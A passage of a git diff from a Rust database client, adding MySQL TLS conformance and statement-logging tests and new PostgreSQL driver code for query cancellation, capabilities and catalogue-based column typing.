&liveness), + credentials, + self.fixture.database(), + tls, + WorkspaceSettings::workspace(false), + liveness, + ) + } +} + +#[async_trait] +impl TlsConformanceEngine for MySqlTlsEngine { + fn driver() -> Arc { + Arc::new(MysqlDriver) + } + + async fn start() -> Result { + let fixture = MysqlFixture::start(S::FLAVOUR) + .await + .map_err(ConformanceFailure::setup)?; + let ca = fixture.pki().path(PkiFile::Ca); + let unrelated_ca = fixture.pki().path(PkiFile::UnrelatedCa); + Ok(Self { + fixture, + ca, + unrelated_ca, + server: PhantomData, + }) + } + + fn connect_options(&self, tls: TlsConfig) -> ConnectOptions { + let host = certified_host(self.fixture.host()); + self.options_to(host, password(&self.fixture.password_credentials()), tls) + } + + fn ca_file(&self) -> &Path { + &self.ca + } + + fn unrelated_ca_file(&self) -> &Path { + &self.unrelated_ca + } + + fn served_name(&self) -> &str { + TestPki::SERVER_NAMES[0] + } + + /// The password user is created REQUIRE SSL. MySQL checks that with + /// the credentials and answers 1045; MariaDB checks + /// `require_secure_transport` first and answers 3159. + fn plaintext_rejection_category(&self) -> ErrorCategory { + match S::FLAVOUR { + MysqlFlavour::Mysql => ErrorCategory::Authentication, + MysqlFlavour::Mariadb => ErrorCategory::Tls, + } + } + + /// The name sqlx verifies is the host it dials, so a mismatch is the + /// server's address, which the certificate does not carry. + fn name_mismatch_connect_options(&self, tls: TlsConfig) -> ConnectOptions { + self.options_to("127.0.0.1", password(&self.fixture.password_credentials()), tls) + } +} + +impl ClientIdentityEngine for MySqlTlsEngine { + fn client_identity(&self) -> ClientIdentity { + ClientIdentity { + certificate: self.fixture.pki().path(PkiFile::ClientCertificate), + key: self.fixture.pki().path(PkiFile::ClientKey), + } + } + + fn certificate_connect_options(&self, tls: TlsConfig) -> ConnectOptions { + let host = certified_host(self.fixture.host()); + self.options_to(host, password(&self.fixture.certificate_credentials()), tls) + } +} + +mod mysql_suite { + use super::{MySqlTlsEngine, Mysql84}; + + tablepro_test_support::tls_conformance_suite! { + engine: MySqlTlsEngine, + client_identity: true, + } +} + +mod mariadb_suite { + use super::{Mariadb114, MySqlTlsEngine}; + + tablepro_test_support::tls_conformance_suite! { + engine: MySqlTlsEngine, + client_identity: true, + } +} + +/// An SSH forward as the driver sees one: a Unix socket that leads to +/// the service. The socket is a private relay to the server's port, so +/// the server sees TCP as it would through sshd. +#[derive(Debug)] +struct SocketForward { + relay: Arc, +} + +impl SocketForward { + fn to(fixture: &MysqlFixture) -> Arc { + let liveness = test_liveness(); + let service = NetworkEndpoint::new(certified_host(fixture.host()), fixture.port()).expect("an endpoint"); + let relay = FaultTransport::direct(service, &liveness).expect("a relay"); + Arc::new(Self { relay: Arc::new(relay) }) + } +} + +#[async_trait] +impl Transport for SocketForward { + fn service_endpoint(&self) -> &NetworkEndpoint { + self.relay.service_endpoint() + } + + fn kind(&self) -> TransportKind { + TransportKind::SshForward { + destination: "bastion.tablepro.test".to_owned(), + } + } + + fn route(&self) -> TransportRoute { + self.relay.route() + } + + async fn open(&self) -> Result, TransportError> { + self.relay.open().await + } + + async fn reroute(&self, endpoint: NetworkEndpoint) -> Result, TransportError> { + self.relay.reroute(endpoint).await + } + + async fn explain_closed_stream(&self) -> Option { + None + } +} + +fn over_socket(fixture: &MysqlFixture, tls: TlsConfig) -> ConnectOptions { + options_over( + SocketForward::to(fixture), + password(&fixture.password_credentials()), + fixture.database(), + tls, + WorkspaceSettings::workspace(false), + test_liveness(), + ) +} + +/// The TLS version the session negotiated, empty without TLS. Asked on +/// an editor session, whose connection takes the same route. +async fn ssl_version(connection: &dyn tablepro_core::Connection) -> String { + let session = session(connection).await; + let events = run_ok(session.as_ref(), "SHOW SESSION STATUS LIKE 'Ssl_version'").await; + session.close().await; + events + .rows() + .first() + .and_then(|row| row.get(1)) + .map(text) + .expect("the Ssl_version row") +} + +fn verify_full(fixture: &MysqlFixture, server_name: Option<&str>) -> TlsConfig { + TlsConfig { + mode: TlsMode::VerifyFull, + ca_file: Some(fixture.pki().path(PkiFile::Ca)), + client_identity: None, + server_name: server_name.map(str::to_owned), + } +} + +/// Through a forward the dial goes to a socket path, so the name TLS +/// checks is the service's own, or the override when one is given. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn verify_identity_through_ssh_socket_with_server_name() { + for flavour in FLAVOURS { + let fixture = MysqlFixture::start(flavour).await.expect("a TLS-only server"); + + let named = MysqlDriver + .connect( + over_socket(&fixture, verify_full(&fixture, Some(TestPki::SERVER_NAMES[1]))), + CancellationToken::new(), + ) + .await + .expect("the override's name is on the certificate"); + assert!(ssl_version(named.as_ref()).await.starts_with("TLS"), "{flavour:?}"); + named.close().await.expect("a close"); + + let wrong = MysqlDriver + .connect( + over_socket(&fixture, verify_full(&fixture, Some("wrong.tablepro.test"))), + CancellationToken::new(), + ) + .await; + assert!( + matches!( + &wrong, + Err(DriverError::Tls { + failure: TlsFailure::NameMismatch, + .. + }) + ), + "{flavour:?}: {:?}", + wrong.err() + ); + } +} + +/// The upgrade to TLS happens on the socket stream itself: the server +/// reports a cipher for the session. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn tls_upgrade_happens_over_socket() { + for flavour in FLAVOURS { + let fixture = MysqlFixture::start(flavour).await.expect("a TLS-only server"); + let required = TlsConfig { + mode: TlsMode::Require, + ..TlsConfig::disabled() + }; + + let connection = MysqlDriver + .connect(over_socket(&fixture, required), CancellationToken::new()) + .await + .expect("a TLS connection over the socket"); + + let version = ssl_version(connection.as_ref()).await; + assert!(version.starts_with("TLS"), "{flavour:?}: {version:?}"); + connection.close().await.expect("a close"); + } +} + +/// With TLS off, caching_sha2_password's full authentication encrypts +/// the password with the server's RSA key: sqlx sends it in the clear +/// only over TLS, and a socket path does not count as secure. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn disabled_mode_uses_rsa_not_cleartext() { + let fixture = start_with(MysqlOptions::new(MysqlFlavour::Mysql).allowing_plaintext()).await; + + let connection = MysqlDriver + .connect(over_socket(&fixture, TlsConfig::disabled()), CancellationToken::new()) + .await + .expect("a plaintext login over RSA"); + + assert_eq!( + ssl_version(connection.as_ref()).await, + "", + "the session is not encrypted" + ); + connection.close().await.expect("a close"); +} + +/// A login with no TLS requirement of its own meets the server's +/// `require_secure_transport`, which both servers report as 3159. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn disabled_against_require_secure_transport() { + for flavour in FLAVOURS { + let fixture = MysqlFixture::start(flavour).await.expect("a TLS-only server"); + let liveness = test_liveness(); + let options = options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(&fixture.root_credentials()), + fixture.database(), + TlsConfig::disabled(), + WorkspaceSettings::workspace(false), + liveness, + ); + + let outcome = MysqlDriver.connect(options, CancellationToken::new()).await; + + assert!( + matches!( + &outcome, + Err(DriverError::Tls { + failure: TlsFailure::ServerRequiresTls, + .. + }) + ), + "{flavour:?}: {:?}", + outcome.err() + ); + } +} + +/// A CA that did not issue the server's certificate is named as such. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn unknown_issuer_classified() { + let fixture = MysqlFixture::start(MysqlFlavour::Mysql) + .await + .expect("a TLS-only server"); + let tls = TlsConfig { + ca_file: Some(fixture.pki().path(PkiFile::UnrelatedCa)), + ..verify_full(&fixture, None) + }; + + let outcome = MysqlDriver + .connect(over_socket(&fixture, tls), CancellationToken::new()) + .await; + + assert!( + matches!( + &outcome, + Err(DriverError::Tls { + failure: TlsFailure::UnknownIssuer, + .. + }) + ), + "{:?}", + outcome.err() + ); +} diff --git a/linux/crates/drivers/mysql/tests/statement_logging.rs b/linux/crates/drivers/mysql/tests/statement_logging.rs new file mode 100644 index 0000000000..ccc2e47bf7 --- /dev/null +++ b/linux/crates/drivers/mysql/tests/statement_logging.rs @@ -0,0 +1,106 @@ +//! sqlx logs every statement it runs, values included, and a slow one +//! as a warning. Neither may reach the app's logs from a user's +//! database, so the driver turns both off. +//! +//! This is a test binary of its own because it installs the global +//! subscriber, which sees events from every task. + +use std::sync::Arc; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::time::Duration; + +use drivers_mysql::MysqlDriver; +use secrecy::SecretString; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Credentials, DatabaseDriver, NetworkEndpoint, + NetworkTarget, RowLimit, TlsConfig, UserSql, WorkspaceSettings, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_test_fixtures::{MysqlFixture, MysqlFlavour, MysqlOptions}; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; +use tracing::Subscriber; +use tracing_subscriber::Layer; +use tracing_subscriber::layer::{Context, SubscriberExt}; + +/// Counts events whose target is sqlx's statement logger. +struct QueryEvents(Arc); + +impl Layer for QueryEvents { + fn on_event(&self, event: &tracing::Event<'_>, _context: Context<'_, S>) { + if event.metadata().target() == "sqlx::query" { + self.0.fetch_add(1, Ordering::SeqCst); + } + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn mysql_emits_no_sqlx_query_events() { + let events = Arc::new(AtomicUsize::new(0)); + let subscriber = tracing_subscriber::registry().with(QueryEvents(events.clone())); + tracing::subscriber::set_global_default(subscriber).unwrap(); + let fixture = MysqlFixture::start_with(MysqlOptions::new(MysqlFlavour::Mysql).allowing_plaintext(), None) + .await + .unwrap(); + let liveness = test_liveness(); + let credentials = fixture.password_credentials(); + let options = ConnectOptions { + target: ConnectTarget::Network(NetworkTarget { + transport: Arc::new(DirectTcpTransport::new( + NetworkEndpoint::new(fixture.host(), fixture.port()).unwrap(), + &liveness, + )), + credentials: Credentials::Password { + username: credentials.username.clone(), + password: SecretString::from(credentials.password.clone()), + }, + database: Some(fixture.database().to_owned()), + tls: TlsConfig::disabled(), + }), + workspace_settings: WorkspaceSettings::workspace(false), + liveness, + environment: ConnectEnvironment::new("test"), + }; + let connection = MysqlDriver.connect(options, CancellationToken::new()).await.unwrap(); + + // Past sqlx's one-second slow statement threshold, which is the + // warning most likely to leak, through both the pool and an editor. + let mut builder = StatementBuilder::new(); + builder.push_sql("SELECT SLEEP(1.2)"); + connection + .query_bound( + &builder.finish(), + RowLimit::EDITOR_DEFAULT, + CallOptions::new(Some(Instant::now() + Duration::from_secs(30)), CancellationToken::new()), + ) + .await + .unwrap(); + let session = connection + .open_editor_session(Default::default(), CancellationToken::new()) + .await + .unwrap(); + session + .run( + UserSql::new("SELECT SLEEP(1.2)"), + tablepro_core::RunOptions::new(CancellationToken::new()), + Box::new(Discard), + ) + .await + .unwrap(); + session.close().await; + connection.close().await.unwrap(); + + assert_eq!(events.load(Ordering::SeqCst), 0, "sqlx logged a statement"); +} + +struct Discard; + +#[async_trait::async_trait] +impl tablepro_core::ResultSink for Discard { + async fn accept(&mut self, _event: tablepro_core::ResultEvent) -> tablepro_core::SinkFlow { + tablepro_core::SinkFlow::Continue + } +} diff --git a/linux/crates/drivers/postgres/Cargo.toml b/linux/crates/drivers/postgres/Cargo.toml index a2570d8c95..7bed9123ae 100644 --- a/linux/crates/drivers/postgres/Cargo.toml +++ b/linux/crates/drivers/postgres/Cargo.toml @@ -13,20 +13,33 @@ path = "src/lib.rs" tablepro-core = { path = "../../core" } tablepro-net = { path = "../../net" } async-trait.workspace = true +bytes.workspace = true chrono.workspace = true -futures.workspace = true -rust_decimal.workspace = true +deadpool-postgres.workspace = true +fallible-iterator.workspace = true +futures-util.workspace = true +postgres-protocol.workspace = true +postgres-types.workspace = true +rustls.workspace = true secrecy.workspace = true -serde_json.workspace = true -sqlx = { workspace = true, features = ["postgres", "bit-vec", "tls-rustls-aws-lc-rs"] } +tokio = { workspace = true, features = ["macros", "rt", "sync", "time"] } +tokio-postgres.workspace = true +tokio-postgres-rustls.workspace = true +tokio-util = { workspace = true, features = ["rt"] } +tracing.workspace = true uuid.workspace = true [dev-dependencies] tablepro-test-fixtures = { path = "../../test-fixtures" } +tablepro-test-support = { path = "../../test-support" } +async-trait.workspace = true +chrono.workspace = true +futures-util.workspace = true rustls.workspace = true -testcontainers.workspace = true -testcontainers-modules = { workspace = true, features = ["postgres"] } -tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } +secrecy.workspace = true +tokio = { workspace = true, features = ["macros", "rt-multi-thread", "test-util"] } +tokio-util = { workspace = true, features = ["rt"] } +uuid.workspace = true [lints] workspace = true diff --git a/linux/crates/drivers/postgres/src/cancel.rs b/linux/crates/drivers/postgres/src/cancel.rs new file mode 100644 index 0000000000..bfc16afca5 --- /dev/null +++ b/linux/crates/drivers/postgres/src/cancel.rs @@ -0,0 +1,129 @@ +use std::sync::{Arc, Mutex, MutexGuard, PoisonError}; + +use async_trait::async_trait; +use tablepro_core::{ + DriverError, EngineStop, LossPhase, StopDelivery, StopReason, StopRequest, StopScope, TimeoutPhase, +}; +use tokio_postgres::CancelToken; + +use crate::errors::sqlstate; +use crate::physical::PgEndpoint; + +/// How far a call's cancel request got. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum StopProgress { + NotSent, + /// The call was stopped before it held a connection, so there was no + /// backend to cancel. + NothingToStop, + /// The request was still out when the call returned: the transport + /// did not open, or the server did not answer it. + InFlight, + Delivered, + Failed, +} + +/// PostgreSQL's cancel request: a second connection naming the backend's +/// pid and secret key. It names the connection, not the statement, so a +/// late one can hit whatever runs next there. +pub(crate) struct PgStop { + endpoint: Arc, + token: Mutex>, + progress: Mutex, +} + +impl PgStop { + pub(crate) fn new(endpoint: Arc) -> Self { + Self { + endpoint, + token: Mutex::new(None), + progress: Mutex::new(StopProgress::NotSent), + } + } + + /// The backend this call runs on, once it holds one. + pub(crate) fn arm(&self, token: CancelToken) { + *lock(&self.token) = Some(token); + } + + pub(crate) fn progress(&self) -> StopProgress { + *lock(&self.progress) + } + + /// What a call stopped before it reached the server reads as. + pub(crate) fn interrupted(&self, request: &StopRequest) -> DriverError { + match request.reason() { + Some(StopReason::DeadlineElapsed) => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }, + Some(StopReason::Shutdown) => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + Some(StopReason::Cancelled) | None => DriverError::Cancelled, + } + } + + fn set(&self, progress: StopProgress) { + *lock(&self.progress) = progress; + } +} + +#[async_trait] +impl EngineStop for PgStop { + fn delivery(&self) -> StopDelivery { + StopDelivery::OutOfBand(StopScope::Connection) + } + + async fn stop(&self) -> Result<(), DriverError> { + let token = lock(&self.token).clone(); + let Some(token) = token else { + self.set(StopProgress::NothingToStop); + return Ok(()); + }; + self.set(StopProgress::InFlight); + let outcome = self.endpoint.cancel_request(&token).await; + self.set(match outcome { + Ok(()) => StopProgress::Delivered, + Err(_) => StopProgress::Failed, + }); + outcome + } + + fn acknowledged(&self, error: &DriverError) -> bool { + acknowledges_stop(error) + } +} + +/// Whether the server answered a statement with 57014, which is how it +/// reports a cancel request or a statement timeout taking effect. +pub(crate) fn acknowledges_stop(error: &DriverError) -> bool { + sqlstate(error) == Some("57014") +} + +fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { + mutex.lock().unwrap_or_else(PoisonError::into_inner) +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ServerCode, ServerDiagnostics}; + + use super::*; + + #[test] + fn a_57014_in_either_form_acknowledges_the_stop() { + let cancelled = DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::SqlState("57014".to_owned())), + "canceling statement due to user request", + )); + let timed_out = DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }; + + assert!(acknowledges_stop(&cancelled)); + assert!(acknowledges_stop(&timed_out)); + assert!(!acknowledges_stop(&DriverError::Cancelled)); + } +} diff --git a/linux/crates/drivers/postgres/src/capabilities.rs b/linux/crates/drivers/postgres/src/capabilities.rs new file mode 100644 index 0000000000..fe4e39791c --- /dev/null +++ b/linux/crates/drivers/postgres/src/capabilities.rs @@ -0,0 +1,64 @@ +use tablepro_core::meta::ObjectKind; +use tablepro_core::{ + AuthMode, CommitResolutionSupport, DriverCapabilities, EndpointKind, EstimateQuality, ReadOnlyEnforcement, + ScriptExecution, ServerNameOverride, TlsCapabilities, TlsMode, WriteAtomicity, +}; + +pub(crate) const DEFAULT_PORT: u16 = 5432; + +pub(crate) static CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::Network { + default_port: DEFAULT_PORT, + }, + auth_modes: &[AuthMode::Password], + tls: Some(TlsCapabilities { + modes: &[TlsMode::Disable, TlsMode::Require, TlsMode::VerifyFull], + ca_file: true, + client_identity: true, + server_name_override: ServerNameOverride::AnyRoute, + }), + // Read-only is a property of each transaction the driver opens, which + // a user's own SET TRANSACTION can still override. + read_only: ReadOnlyEnforcement::SessionDefault, + dml_writes: WriteAtomicity::Transactional, + ddl_writes: WriteAtomicity::Transactional, + script_execution: ScriptExecution::NativeBatch, + commit_resolution: CommitResolutionSupport::ServerTransactionStatus, + row_count_estimate: EstimateQuality::Statistics, + object_kinds: &[ + ObjectKind::Table, + ObjectKind::PartitionedTable, + ObjectKind::View, + ObjectKind::MaterializedView, + ObjectKind::ForeignTable, + ObjectKind::Sequence, + ObjectKind::Function, + ObjectKind::Procedure, + ], + database_required: false, +}; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn capabilities_match_driver_contract() { + assert_eq!(CAPABILITIES.default_port(), Some(5432)); + assert!(CAPABILITIES.supports(AuthMode::Password)); + assert!(!CAPABILITIES.supports(AuthMode::Kerberos)); + let tls = CAPABILITIES.tls.expect("PostgreSQL offers TLS"); + assert_eq!(tls.modes.len(), 3); + assert!(tls.ca_file && tls.client_identity); + assert_eq!(tls.server_name_override, ServerNameOverride::AnyRoute); + assert_eq!(CAPABILITIES.read_only, ReadOnlyEnforcement::SessionDefault); + assert_eq!(CAPABILITIES.dml_writes, WriteAtomicity::Transactional); + assert_eq!(CAPABILITIES.ddl_writes, WriteAtomicity::Transactional); + assert_eq!( + CAPABILITIES.commit_resolution, + CommitResolutionSupport::ServerTransactionStatus + ); + assert_eq!(CAPABILITIES.object_kinds.len(), 8); + assert!(!CAPABILITIES.database_required); + } +} diff --git a/linux/crates/drivers/postgres/src/catalog/mod.rs b/linux/crates/drivers/postgres/src/catalog/mod.rs new file mode 100644 index 0000000000..02ed7a9aa1 --- /dev/null +++ b/linux/crates/drivers/postgres/src/catalog/mod.rs @@ -0,0 +1,188 @@ +//! Columns classified from PostgreSQL's own catalogue rather than from +//! type names. + +mod pg_column_row; +mod pg_typmod; +mod table_definition; +mod type_facts; + +pub(crate) use pg_column_row::{COLUMNS_SQL, PgColumnRow}; +pub(crate) use table_definition::{INBOUND_FOREIGN_KEYS_SQL, PRIMARY_KEY_NAME_SQL, inbound_foreign_key}; +pub(crate) use type_facts::TypeFacts; + +use tablepro_core::column::{ + CatalogType, ColumnDefault, ColumnInfo, ColumnType, ResultColumn, SqlExpression, SqlTypeExpr, has_dynamic_storage, +}; +use tablepro_core::ddl::{ + CollationName, ColumnAttributes, ColumnDefinition, GeneratedColumn, GeneratedStorage, IdentityStyle, +}; +use tablepro_core::edit::parse_literal_text; +use tablepro_core::sql_syntax::{LiteralToken, MAX_EXPRESSION_LEN, SqlGrammar, parse_expression}; +use tablepro_core::value::Value; +use tokio_postgres::Column; + +/// A column of a result set, typed from the OID and modifier the server +/// sent with it. +pub(crate) fn result_column(column: &Column) -> ResultColumn { + let facts = TypeFacts::of_type(column.type_(), column.type_modifier()); + let kind = facts.kind(); + ResultColumn::new( + column.name(), + ColumnType { + name: facts.name.clone(), + dynamic_storage: has_dynamic_storage(&kind), + kind, + catalog: None, + read_form: facts.read_form(), + }, + ) +} + +/// A column the simple protocol returned, which carries only its name +/// until tokio-postgres exposes the type OID there. +pub(crate) fn text_column(name: &str) -> ResultColumn { + ResultColumn::new(name, ColumnType::untyped_text("text")) +} + +pub(crate) fn column_info(row: &PgColumnRow) -> ColumnInfo { + let kind = row.facts.kind(); + let column_type = ColumnType { + name: row.declaration.clone(), + dynamic_storage: has_dynamic_storage(&kind), + kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text(row.declaration.as_str()), + cast_target: SqlTypeExpr::from_catalog_text(row.cast_target.as_str()), + }), + read_form: row.facts.read_form(), + }; + let identity = identity_style(row); + let generated = !row.generated.is_empty(); + let default = match (identity, generated) { + (IdentityStyle::None, false) => classify_default(row.default_expression.as_deref(), &column_type), + _ => ColumnDefault::None, + }; + ColumnInfo { + name: row.name.clone(), + column_type, + nullable: !row.not_null, + primary_key: row.primary_key, + is_auto_increment: identity != IdentityStyle::None, + is_generated: generated, + default, + comment: row.comment.clone(), + } +} + +pub(crate) fn column_definition(row: &PgColumnRow) -> ColumnDefinition { + let generated = match row.generated.as_str() { + "s" => Some(GeneratedStorage::Stored), + "v" => Some(GeneratedStorage::Virtual), + _ => None, + }; + let attributes = ColumnAttributes { + collation: row + .collation + .as_ref() + .map(|(schema, name)| CollationName::new(schema.clone(), name.clone())), + generated: generated.and_then(|storage| { + row.default_expression.as_ref().map(|expression| GeneratedColumn { + expression: SqlExpression::from_catalog_text(expression.as_str()), + storage, + }) + }), + identity: identity_style(row), + ..ColumnAttributes::default() + }; + ColumnDefinition::new(column_info(row), attributes) +} + +fn identity_style(row: &PgColumnRow) -> IdentityStyle { + match row.identity.as_str() { + "a" => IdentityStyle::GeneratedAlways, + "d" => IdentityStyle::GeneratedByDefault, + _ if row + .default_expression + .as_deref() + .is_some_and(|expression| expression.trim_start().starts_with("nextval(")) => + { + IdentityStyle::SequenceDefault + } + _ => IdentityStyle::None, + } +} + +/// A DEFAULT as a value the insert path can bind where it is a literal, +/// and as the server's expression otherwise. +pub(crate) fn classify_default(text: Option<&str>, column_type: &ColumnType) -> ColumnDefault { + let Some(text) = text.map(str::trim).filter(|text| !text.is_empty()) else { + return ColumnDefault::None; + }; + let expression = || ColumnDefault::Expression(SqlExpression::from_catalog_text(text)); + let Ok(parsed) = parse_expression(SqlGrammar::PostgreSql, text, MAX_EXPRESSION_LEN) else { + return expression(); + }; + let literal_text = match parsed.literal { + None => return expression(), + Some(LiteralToken::Null) => return ColumnDefault::None, + Some(LiteralToken::Text(text)) => text, + Some(LiteralToken::Number(number)) => number.to_string(), + Some(LiteralToken::Boolean(flag)) => flag.to_string(), + }; + match parse_literal_text(&literal_text, column_type) { + Ok(Value::Null) | Err(_) => expression(), + Ok(value) => ColumnDefault::Literal(value), + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnKind, IntegerKind, IntegerWidth, ReadForm, TextLength}; + + use super::*; + + fn column_type(kind: ColumnKind) -> ColumnType { + ColumnType { + name: String::new(), + dynamic_storage: false, + kind, + catalog: None, + read_form: ReadForm::Native, + } + } + + #[test] + fn classify_default_table() { + let integer = column_type(ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + })); + let text = column_type(ColumnKind::Text { + length: TextLength::Unbounded, + }); + let date = column_type(ColumnKind::Date); + + assert_eq!( + classify_default(Some("42"), &integer), + ColumnDefault::Literal(Value::Int(42)) + ); + assert_eq!( + classify_default(Some("'-1'::integer"), &integer), + ColumnDefault::Literal(Value::Int(-1)) + ); + assert_eq!( + classify_default(Some("'it''s'::text"), &text), + ColumnDefault::Literal(Value::Text("it's".to_owned())) + ); + assert!(matches!( + classify_default(Some("'2024-01-01'::date"), &date), + ColumnDefault::Literal(Value::Date(_)) + )); + assert!(matches!( + classify_default(Some("now()"), &date), + ColumnDefault::Expression(expression) if expression.as_sql() == "now()" + )); + assert_eq!(classify_default(Some("NULL::text"), &text), ColumnDefault::None); + assert_eq!(classify_default(None, &text), ColumnDefault::None); + } +} diff --git a/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs b/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs new file mode 100644 index 0000000000..13b749566f --- /dev/null +++ b/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs @@ -0,0 +1,133 @@ +use tablepro_core::DriverError; +use tokio_postgres::Row; + +use super::type_facts::{TypeFacts, TypeShape}; + +/// One column of a table, as the catalogue query returns it. Every +/// projected type is built in, so the read never needs a type lookup. +/// +/// The recursive CTE follows a domain to its base type, keeping the +/// first modifier along the way, because a domain column's own +/// `atttypmod` is -1 when the modifier was declared on the domain. +pub(crate) const COLUMNS_SQL: &str = "\ +WITH RECURSIVE resolved AS ( + SELECT a.attnum, a.atttypid AS type_oid, a.atttypmod AS typmod, 0 AS depth + FROM pg_catalog.pg_attribute a + WHERE a.attrelid = $1::text::regclass AND a.attnum > 0 AND NOT a.attisdropped + UNION ALL + SELECT r.attnum, t.typbasetype, + CASE WHEN r.typmod = -1 THEN t.typtypmod ELSE r.typmod END, + r.depth + 1 + FROM resolved r + JOIN pg_catalog.pg_type t ON t.oid = r.type_oid + WHERE t.typtype = 'd' AND r.depth < 32 +), +base AS ( + SELECT DISTINCT ON (attnum) attnum, type_oid, typmod + FROM resolved + ORDER BY attnum, depth DESC +) +SELECT a.attname::text, + pg_catalog.format_type(a.atttypid, a.atttypmod)::text, + pg_catalog.format_type(a.atttypid, NULL)::text, + b.type_oid::int8, + b.typmod::int4, + bt.typtype::text, + bt.typname::text, + et.oid::int8, + et.typtype::text, + et.typname::text, + (SELECT array_agg(e.enumlabel::text ORDER BY e.enumsortorder) + FROM pg_catalog.pg_enum e + WHERE e.enumtypid = COALESCE(et.oid, bt.oid)), + a.attnotnull, + COALESCE(a.attnum = ANY (pk.conkey), false), + pg_catalog.pg_get_expr(d.adbin, d.adrelid)::text, + a.attidentity::text, + a.attgenerated::text, + pg_catalog.col_description(a.attrelid, a.attnum::int4)::text, + CASE WHEN a.attcollation <> 0 AND a.attcollation <> at.typcollation THEN cn.nspname::text END, + CASE WHEN a.attcollation <> 0 AND a.attcollation <> at.typcollation THEN co.collname::text END +FROM pg_catalog.pg_attribute a +JOIN base b ON b.attnum = a.attnum +JOIN pg_catalog.pg_type at ON at.oid = a.atttypid +JOIN pg_catalog.pg_type bt ON bt.oid = b.type_oid +LEFT JOIN pg_catalog.pg_type et ON et.oid = bt.typelem AND bt.typcategory = 'A' +LEFT JOIN pg_catalog.pg_attrdef d ON d.adrelid = a.attrelid AND d.adnum = a.attnum +LEFT JOIN pg_catalog.pg_constraint pk ON pk.conrelid = a.attrelid AND pk.contype = 'p' +LEFT JOIN pg_catalog.pg_collation co ON co.oid = a.attcollation +LEFT JOIN pg_catalog.pg_namespace cn ON cn.oid = co.collnamespace +WHERE a.attrelid = $1::text::regclass AND a.attnum > 0 AND NOT a.attisdropped +ORDER BY a.attnum"; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct PgColumnRow { + pub(crate) name: String, + pub(crate) declaration: String, + pub(crate) cast_target: String, + pub(crate) facts: TypeFacts, + pub(crate) not_null: bool, + pub(crate) primary_key: bool, + pub(crate) default_expression: Option, + /// `pg_attribute.attidentity`: `a` always, `d` by default, empty + /// for neither. + pub(crate) identity: String, + /// `pg_attribute.attgenerated`: `s` stored, `v` virtual (18 on). + pub(crate) generated: String, + pub(crate) comment: Option, + pub(crate) collation: Option<(Option, String)>, +} + +impl PgColumnRow { + pub(crate) fn from_row(row: &Row) -> Result { + let field = |error: tokio_postgres::Error| DriverError::Decode { + column: "pg_attribute".to_owned(), + detail: error.to_string(), + }; + let base_oid: i64 = row.try_get(3).map_err(field)?; + let element_oid: Option = row.try_get(7).map_err(field)?; + let element_shape: Option = row.try_get(8).map_err(field)?; + let element_name: Option = row.try_get(9).map_err(field)?; + let enum_labels: Option> = row.try_get(10).map_err(field)?; + let enum_labels = enum_labels.unwrap_or_default(); + let element = match element_oid { + Some(element_oid) => Some(Box::new(TypeFacts { + oid: oid_of(element_oid)?, + typmod: -1, + shape: TypeShape::from_typtype(element_shape.as_deref().unwrap_or("b")), + name: element_name.unwrap_or_default(), + element: None, + enum_labels: enum_labels.clone(), + })), + None => None, + }; + let typtype: String = row.try_get(5).map_err(field)?; + let facts = TypeFacts { + oid: oid_of(base_oid)?, + typmod: row.try_get(4).map_err(field)?, + shape: TypeShape::from_typtype(&typtype), + name: row.try_get(6).map_err(field)?, + enum_labels: if element.is_some() { Vec::new() } else { enum_labels }, + element, + }; + let collation_schema: Option = row.try_get(17).map_err(field)?; + let collation_name: Option = row.try_get(18).map_err(field)?; + Ok(Self { + name: row.try_get(0).map_err(field)?, + declaration: row.try_get(1).map_err(field)?, + cast_target: row.try_get(2).map_err(field)?, + facts, + not_null: row.try_get(11).map_err(field)?, + primary_key: row.try_get(12).map_err(field)?, + default_expression: row.try_get(13).map_err(field)?, + identity: row.try_get(14).map_err(field)?, + generated: row.try_get(15).map_err(field)?, + comment: row.try_get(16).map_err(field)?, + collation: collation_name.map(|name| (collation_schema, name)), + }) + } +} + +fn oid_of(value: i64) -> Result { + u32::try_from(value).map_err(|_| DriverError::Protocol(format!("{value} is not a type OID"))) +} diff --git a/linux/crates/drivers/postgres/src/catalog/pg_typmod.rs b/linux/crates/drivers/postgres/src/catalog/pg_typmod.rs new file mode 100644 index 0000000000..4310ad18d7 --- /dev/null +++ b/linux/crates/drivers/postgres/src/catalog/pg_typmod.rs @@ -0,0 +1,57 @@ +//! The type modifiers PostgreSQL stores in `atttypmod`, decoded the way +//! `format_type` reads them. + +/// varchar(n) and character(n) store n plus the 4-byte varlena header. +pub(crate) fn character_length(typmod: i32) -> Option { + u32::try_from(typmod.checked_sub(4)?).ok() +} + +/// numeric(p, s) stores `((p << 16) | s) + 4`, the scale as an 